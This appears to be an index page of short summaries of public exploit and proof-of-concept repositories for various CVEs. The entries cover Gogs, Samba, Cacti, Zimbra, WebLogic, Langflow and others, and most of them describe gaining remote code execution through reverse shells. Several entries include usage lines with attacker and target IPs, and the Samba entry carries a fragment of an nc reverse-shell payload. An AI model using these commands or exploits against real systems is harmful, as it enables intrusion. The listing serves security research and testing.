CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE Exploit An automated Python exploit for CVE-2025-8110 in Gogs. This vulnerability allows for Remote Code Execution RCE by abusing the PutContents API, which fails to validate if a file path is a symlink. By overwriting the internal .git/config file via a symlink, we can...

Rainfall

Rainfall Rainfall is an iso challenge slightly more complex than Snow Crash. You will have to dive deep into reverse engineering, learn to reconstruct a code, and understand it to detect faults. Will you reach the last level? Description Rainfall is a project from the cybersecurity branch of 42,...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---本地权限提升-PowerShell- Druva inSync Windows Client 6.6.3 - 本地权限提升 PowerShell 修改后可使用系统权限获取 Reverse Shell。...

CVE-2022-46169

CVE 2022-46169 该脚本利用 Cacti 1.2.22 及之前版本中的未认证命令注入漏洞，以实现未认证远程代码执行并获得反弹 shell。...

CVE-2026-23744-script

A script for CVE-2026-23744, which exploits MCPJam Inspector versions = 1.4.2. Based off the curl command used here: https://github.com/advisories/GHSA-232v-j27c-5pp6 Make sure your /etc/hosts file is correct and points to the domain/vhost of the target...

CVE-2024-36401-PoC

CVE-2024-36401-PoC 此仓库包含一个针对CVE-2024-36401的概念验证（PoC）脚本，该漏洞可被利用在目标服务器上实现远程代码执行。 功能特性 使用Perl分配一个反向Shell监听器。 使用Base64编码命令。 向目标服务器发送请求以利用漏洞。 通过信号处理优雅地处理中断。 先决条件 Python 3.x requests 库 安装 1. 克隆此仓库： root@kitploit: git clone https://github.com/yourusername/CVE-2024-36401-PoC.git cd CVE-2024-36401-PoC 2...

CVE-2023-44487

HTTP/2 Rapid Reset: CVE-2023-44487 Descripción Este repositorio contiene código de prueba de concepto PoC para la vulnerabilidad HTTP/2 Rapid Reset identificada como CVE-2023-44487. Resumen de la vulnerabilidad ID de CVE : CVE-2023-44487 Impacto : Denegación de servicio DoS Protocolos afectados :...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 该仓库包含我为 Adobe ColdFusion 2018 中 RCE 漏洞编写的利用代码。 漏洞利用说明 该利用程序向 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反弹 Shell 的 POST 请求。如果成功，则会将 Shell 上传至...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2019-15813

CVE-2019-15813 此容器用于解释并演示 CVE-2019-15813（Sentrifugo 的工作原理） Sentrifugo V3.2 Sentrifugo 是一个人力资源管理系统 如何安装 docker-compose up 默认测试凭据 ----超级管理员---- 用户名：empp0001 密码：5faa7bdf3d7af ---员工---- 用户名：EMPP123 密码：bygedupub --反向 PHP Shell-- 解压 resume.zip（因 Windows Defender 可能删除该文件而打包） 编辑 IP 地址和端口...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 经过身份验证的命令注入（反向Shell） https://nvd.nist.gov/vuln/detail/CVE-2018-9276 改进版利用脚本，原作者为 https://github.com/M4LV0。 我使用了他们脚本中的POST数据，但使其更可靠，因为我之前使用原版时成功率不高。 有效载荷传递方式本质上是 smbdelivery。 Impacket 提供由 msfvenom 生成的 .dll，rundll32.exe 负责执行所有操作。 已在 Windows Server 2016 上针对 PRTG 18.1.37...

regresshion-check

regresshion-check regresshion-check 是一个用 Rust 编写的 CLI 工具，用于检查 SSH 服务器是否存在 CVE-2024-6387 漏洞。它可以扫描单个 IP 或多个 IP/CIDR（以换行符分隔的文件提供）。对于检测为易受攻击的 IP，会包含反向 DNS 查找结果和版本字符串。 （README 中列出的 IP 仅作示例，请勿使用） 先决条件 已安装 Rust 和 Cargo。你可以通过 rustup 安装 Rust 和 Cargo。 构建应用程序 1. 克隆仓库： root@kitploit: git clone...

CVE-2019-2729

CVE-2019-2729 针对运行在Windows上的Oracle Weblogic CVE-2019-2729的利用代码。 可以创建一个回调到CobaltStrike监听器或一个带有payload windows/meterpreter/reversetcp的Metasploit处理程序。 还有一个非信标利用程序，只需在底层主机上执行命令。exploit.py。此版本还启用了代理支持。...

cve-2023-51467

针对 CVE-2023-51467 的 Go 漏洞利用程序 该仓库包含一个针对 Apache OFBiz CVE-2023-51467 的 Go 漏洞利用程序。该实现包含目标验证、版本扫描器，以及一个基于内存 Nashorn 的反向 Shell 作为载荷（要求所使用的 Java 支持 Nashorn）。武器化过程详见 VulnCheck 博客。 编译 你可以使用 makefile 来构建一个 Docker 容器： root@kitploit: make docker 或者，如果你已经准备好 Go 构建环境，直接使用 make： root@kitploit:...

CVE-2023-30547

CVE-2023-30547 这是针对CVE-2023-30547（https://nvd.nist.gov/vuln/detail/CVE-2023-30547）的概念验证（PoC）。我在一次CTF比赛中创建了这个PoC。 用法 root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT 针对vm2漏洞CVE-2023-30547的PoC 选项: -h, --help 显示此帮助信息并退出 --url URL 目标URL --lhost LHOST 本地主机的IP用于反弹shell --lport...

Node.js-CVE-2017-5941

NodeJS 不安全反序列化漏洞演示 Node.js 是一个开源运行时环境，用于在 JavaScript 中实现服务器功能。 Node.js 中的一个特定软件包包含一个处理反序列化的易受攻击函数，如果客户端提供特制的 cookie，该函数会导致执行未授权命令。 该漏洞已被复现，并可能发起反向 shell，这是由于从客户端请求的 cookie 中读取的未净化输入数据所致。客户端可以编辑其 cookie，注入包含 bash 命令的不安全载荷，并将其发送到服务器，服务器将盲目执行该命令。这可能导致未经授权的用户访问数据库或整个机器。...

CVE-2022-27925-Revshell

Zimbra 未认证远程代码执行漏洞利用 CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol HTTPS -m...

CVE-2022-0944

CVE-2022-0944 PoC PoC para RCE en SQLPad. Este ejemplo lanza una reverse shell, pero el payload puede modificarse para ejecutar cualquier comando disponible cambiando el comando en la llamada 'exec' dentro del payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash ...

RCE-CVE-2025-3248

Authenticated CVE-2025-3248 Langflow Remote Code Execution This Python script exploits CVE-2025-3248 to execute arbitrary commands or spawn a reverse shell on a vulnerable system. Authentication is required to use this exploit. Features Authenticated Command Execution: Run arbitrary system comman...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 认证后的 RCE 此 PoC 脚本基于 Fellipe Oliveira 提供的漏洞利用代码。 功能 : 直接将 C 代码上传到 /hardware，而非 st 文件上传 在上传反向 shell 之前恢复默认程序 改进的基于 C 的反向 shell，非阻塞 ，因此 Web 服务器不会挂起 ; 在后台生成 shell，即使 PLC 已停止也仍可运行，直到退出 清理 root@kitploit: $ python cve202131630.py -lh 10.10.16.68 -lp 4444...